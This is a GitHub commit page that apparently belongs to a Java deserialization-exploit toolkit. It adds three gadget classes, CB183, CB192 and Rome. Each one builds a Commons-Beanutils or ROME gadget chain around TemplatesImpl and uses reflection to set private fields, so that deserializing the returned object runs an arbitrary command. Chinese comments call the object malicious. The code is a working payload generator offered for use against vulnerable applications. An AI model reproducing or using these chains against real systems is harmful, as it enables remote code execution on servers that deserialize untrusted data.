-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
小西巴
committed
May 3, 2024
1 parent
aea1060
commit e230c0f
Showing
8 changed files
with
126 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
package org.gadget; | ||
|
||
import javassist.ClassPool; | ||
import javassist.CtClass; | ||
import javassist.CtField; | ||
import javassist.LoaderClassPath; | ||
import org.gadget.inter.Gadget; | ||
|
||
import java.util.PriorityQueue; | ||
|
||
public class CB183 implements Gadget{ | ||
@Override | ||
public Object getObject(String command) throws Exception { | ||
ClassPool classPool = ClassPool.getDefault(); | ||
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader())); | ||
String clsName = "org.apache.commons.beanutils.BeanComparator"; | ||
CtClass ctClass = classPool.get(clsName); | ||
CtField field = CtField.make("private static final long serialVersionUID = -3490850999041592962L;",ctClass); | ||
ctClass.addField(field); | ||
ctClass.toClass(); | ||
// 释放对象 | ||
ctClass.detach(); | ||
|
||
PriorityQueue priorityQueue = (PriorityQueue) new CB192().getObject(command); | ||
|
||
return priorityQueue; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
package org.gadget; | ||
|
||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | ||
import org.apache.commons.beanutils.BeanComparator; | ||
import org.gadget.inter.Gadget; | ||
import org.util.TemplateUtils; | ||
|
||
import java.lang.reflect.Constructor; | ||
import java.lang.reflect.Field; | ||
import java.util.Comparator; | ||
import java.util.PriorityQueue; | ||
|
||
public class CB192 implements Gadget { | ||
|
||
@Override | ||
public Object getObject(String command) throws Exception { | ||
TemplatesImpl template = TemplateUtils.getTemplate(command); | ||
|
||
// 创建序列化对象 | ||
Class c = Class.forName("java.lang.String$CaseInsensitiveComparator"); | ||
Constructor constructor = c.getDeclaredConstructor(); | ||
constructor.setAccessible(true); | ||
Comparator comparator = (Comparator<?>) constructor.newInstance(); | ||
//只传入字符串构造方法,方法内部会调用ComparableComparator.getInstance(),而ComparableComparator为CC包中的类,可传入一个JDK原生的Comparator实现类,使其不在使用ComparableComparator | ||
BeanComparator beanComparator = new BeanComparator("outputProperties",comparator); | ||
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); | ||
|
||
//设置queue | ||
Field queue = priorityQueue.getClass().getDeclaredField("queue"); | ||
queue.setAccessible(true); | ||
Object[] o = (Object[]) queue.get(priorityQueue); | ||
o[0] = template; | ||
o[1] = "asdf"; | ||
|
||
//设置size | ||
Field size = priorityQueue.getClass().getDeclaredField("size"); | ||
size.setAccessible(true); | ||
size.set(priorityQueue,2); | ||
return priorityQueue; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
package org.gadget; | ||
|
||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | ||
import com.sun.syndication.feed.impl.EqualsBean; | ||
import com.sun.syndication.feed.impl.ObjectBean; | ||
import com.sun.syndication.feed.impl.ToStringBean; | ||
import org.gadget.inter.Gadget; | ||
import org.util.TemplateUtils; | ||
|
||
import javax.xml.transform.Templates; | ||
import java.lang.reflect.Field; | ||
import java.util.HashMap; | ||
import java.util.Map; | ||
|
||
public class Rome implements Gadget { | ||
@Override | ||
public Object getObject(String command) throws Exception { | ||
TemplatesImpl tmpl = TemplateUtils.getTemplate(command); | ||
ToStringBean toStringBean = new ToStringBean(Templates.class, tmpl); | ||
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean); | ||
|
||
//先构造正常的ObjectBean对象,put进hashMap | ||
ObjectBean objectBean = new ObjectBean("".getClass(), "aaa"); | ||
|
||
Map map = new HashMap<>(); | ||
map.put(objectBean,"asdf"); | ||
|
||
//将恶意的EqualsBean对象写入到ObjectBean的_equalsBean属性中 | ||
Field equalsBean1 = objectBean.getClass().getDeclaredField("_equalsBean"); | ||
equalsBean1.setAccessible(true); | ||
equalsBean1.set(objectBean,equalsBean); | ||
return map; | ||
} | ||
} |